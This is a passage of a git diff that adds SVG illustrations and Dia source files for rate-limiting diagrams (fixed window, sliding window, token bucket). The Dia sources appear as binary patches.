+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="670" y="-150">
+      <tspan x="670" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/token_bucket.svg b/_images/rate_limiter/token_bucket.svg
new file mode 100644
index 00000000000..29d6fc8f103
--- /dev/null
+++ b/_images/rate_limiter/token_bucket.svg
@@ -0,0 +1,83 @@
+<svg width="400" viewBox="483 2 463 173" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="170">
+      <tspan x="505" y="170">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="170">
+      <tspan x="565" y="170">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="170">
+      <tspan x="625" y="170">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="170">
+      <tspan x="685" y="170">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="170">
+      <tspan x="745" y="170">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="170">
+      <tspan x="805" y="170">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="170">
+      <tspan x="865" y="170">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="135" x2="945" y2="135"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="125" x2="505" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="130" x2="535" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="125" x2="565" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="130" x2="595" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="125" x2="625" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="130" x2="655" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="125" x2="685" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="130" x2="715" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="125" x2="745" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="130" x2="775" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="125" x2="805" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="130" x2="835" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="125" x2="865" y2="145"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="130" x2="895" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="125" x2="925" y2="145"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="170">
+      <tspan x="925" y="170">13:15</tspan>
+    </text>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="675" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="735" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="825" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="645" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/sources/rate_limiter/fixed_window.dia b/_images/sources/rate_limiter/fixed_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16282a2dcce2dc3cf58a40be13992366c2a10f48
GIT binary patch
literal 2356
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
ail<K>)*r;5Ny=tVAN~(zH@<Pi$N&Jno|C-*

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/sliding_window.dia b/_images/sources/rate_limiter/sliding_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..e16275d89954159ea54000bf4de8826e9b3282d3
GIT binary patch
literal 2190
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
QvgzZ^e}s1x_UWns01%r;Gynhq

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/token_bucket.dia b/_images/sources/rate_limiter/token_bucket.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16761971337dbf6890ce0d2255b6d7c75bb125ca
GIT binary patch
literal 2752
zcmY+Gc{r47AIE1A<20DYiENpWNjb%sv4pHKI@XjD(#RxCwqjl;jAR|tv6RWKWF0Y4
zwhWF$gpoaa_MFCGQ1%y{^Iqq@|9P(K{@u_0``(}L_qne}ngRjr4G@@}=5TlX!{Knw
z%oWR4_7S?yGNyFZCca=&{t2PSw8#PETv!+z30qYc-5BiBhwwn4%Y0aWZA_`^;JksF
zF(<1laDA5M7;HW<;{LQP3++Ff5Yod5Yd#@m+&uYgr&v0e$z88K7qpI-JmC0#)I`LT
zG_Dr!zu0B4bDZVk$l;8RjPNdQXnp7+z>Fz>YE|#ZMox@fM^|xlg63A{q+&v~PF%NR
zick8B2#EUk|Ng-BM~5_T)+o}p3fs6<(o-;eg4$L1UA#ePi^ZZBZ*LW3ZM;l>w0!QM
z{1>Hzp`$`XkEk=FwS`>Ur))p1v}`UG-8||-G80_3-n4Tsb;F2K<C`aDbQW1tcGsAU
zuk^3fqv&{xPy+n;hF`<ChN(*(A;t=ayKo!no|Qw#ds0(9J#P2f6MF4$_1dF@le2Bp
z4_MWB`aI3?J|dUhGlNKvph+bE@!;x@{#V{6&<Twe?xjzF7Fr)|u#z?}M`>&-9(pOl
z7a&$k*)fu3W;ENO+a1$`j&7J10^i^Ts{c}15O2%ENvcwhUGQ-&FQ^K>(zR72t7!Xb
z&DW&q6iE}3^-6T$Ss;ImJmt1zyUxN_wklshfGy_j&g~K6pow{#dNON#Z0iTiPeN+;
z6m|)VwN(;oN<OT@e~aiJP%bNKmbgTCR%dy3lc?UZk{n<%3Weq|P!|#mp~gehk+zH8
zZ`uVWp51qyG52+~QMY~ia%3(;?Ry^c$v~mesGR^JkNIolVzrG<&n9zo(k5tATPWT;
zmP#TrrN6MM9p5T&zCT|y*vaT!4P$5qK3DU$W)PLnxOn^WIUVfT9vApFeCl3snV{Ga
zLE;80`cL@;b^Fg_;Fg*S@O=O2Eu%D`Z`k?1Qgvpl+jY}MzUb<%>Db`kJZa?v>>*p>
zzvy_Wipq22Z4vVxopPQfHq|2}k?;JA8wNY&(oBvXinAsAp=9~xXvz#HY$8&r@Z02>
zuQHVS!uc;VwFxw(<Z5&cZQ#xj`E1Z4URYmakw2ldk{yk#nm8U_1`LqPDJ>K*I-_zN
zfHKL!aht^DDX#CB@0AY|I$v;$9`#Mx4KUBCdWHpheR^^xQU6{g>X0jb33?*oZMJF9
z;NvL0q!@(+KKxub%E}h+WLS$*rWcvUl>MFrnNMm}unyJKPr8<GYI-fH0*H6AYjG|&
